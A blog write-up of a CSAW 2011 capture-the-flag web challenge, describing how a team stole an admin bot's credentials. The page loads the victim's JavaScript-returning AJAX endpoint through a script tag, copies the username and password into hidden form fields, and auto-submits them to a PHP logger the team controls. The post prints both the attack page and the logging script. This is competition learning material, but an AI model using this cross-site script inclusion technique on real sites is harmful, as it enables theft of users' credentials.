code hacking, zen coding

CSAW 2011 CrackJack Web6 Write-up

In this challenge, we need to get administrator credential on someone’s site who loves cat, ajax and getting contact emails.

A robot will visit any link you post in the contact form, this robot is at the same time logged in the site’s administrator account.

The key vulnerability in this application is that the AJAX calls aren’t returning JSON.. they are returning Javascript expressions. This make it much easier to exploit because we don’t need to do any cross-domain calls.

One particularly interesting page is the self.php page that give to the connected user some informations about his account: username and password

The content of this page is built using … AJAX calls that fetch Javascript expressions containing an array with the username and password. You see were we are going.

One hint given by the CTF team is that the internal IP of the web server as seen from the administration’s point of view is

So normaly, the url is

From the administrator’s point of view, it will be

So we need:

  • a way to fetch the javascript from this url
  • send it back to a server we control

We did something very simple following a bright idea of our team-mate fser: using a script tag to fetch the remote Javascript expression. Then we use some javascript to update a form’s hidden fields with the username and password and we submit the form to our remote server. That’s it.

Code for the page the robot (administrator of the site) will visit:

<script type="text/javascript" src=""></script>
<script type="text/javascript">
function getCurrent() {
document.forms[0].username.value = current.username;
document.forms[0].password.value = current.password;

<body onload="getCurrent()">
<form id="myform" action="" method="POST">
<input type="hidden" name="username" value="defaultusername"/>
<input type="hidden" name="password" value="defaultpassword"/>

Code for the data stealer targeted by our auto-submitted form: (nothing special)

$f = fopen('log.txt', 'a+');

fwrite($f, serialize($_GET) . PHP_EOL);

fwrite($f, serialize($_POST) . PHP_EOL);


When the robot hit our page, we get the result in our log file:


Now we log on the website with this username and password and we get the key on the frontpage. We are done.